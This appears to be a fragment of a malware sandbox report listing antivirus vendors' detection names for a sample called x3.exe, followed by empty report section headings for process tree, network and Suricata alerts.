Cyren	W64/MSIL_Kryptik.EPD.gen!Eldorado
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Kryptik.AAWO
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.Win32.Generic
BitDefender	Trojan.GenericKD.37011382
ViRobot	Trojan.Win32.Z.Win.2210304.H
Avast	Win64:CoinminerX-gen [Trj]
Rising	Trojan.Kryptik/MSIL!1.D6FC (CLASSIC)
Ad-Aware	Trojan.GenericKD.37011382
Emsisoft	Trojan.GenericKD.37011382 (B)
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	TROJ_GEN.R002C0DEV21
McAfee-GW-Edition	BehavesLike.Win64.VirRansom.vc
FireEye	Generic.mg.673189c4150264e0
Sophos	Mal/Generic-R + Troj/Kryptik-XQ
SentinelOne	Static AI - Malicious PE
Avira	TR/Kryptik.mityz
MAX	malware (ai score=100)
Microsoft	Trojan:MSIL/AgentTesla.FR!MTB
ZoneAlarm	HEUR:Trojan.Win32.Generic
GData	Trojan.GenericKD.37011382
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.C4463109
VBA32	Trojan.PackedNET
ALYac	Trojan.GenericKD.37011382
Malwarebytes	Malware.AI.4280380711
TrendMicro-HouseCall	TROJ_GEN.R002C0DEV21
Tencent	Win32.Trojan.Generic.Wnmf
Ikarus	Trojan.MSIL.Crypt
Fortinet	MSIL/GenKryptik.FFBT!tr
AVG	Win64:CoinminerX-gen [Trj]
Panda	Trj/CI.A
CrowdStrike	win/malicious_confidence_80% (W)
MaxSecure	Trojan.Malware.300983.susgen

x3.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All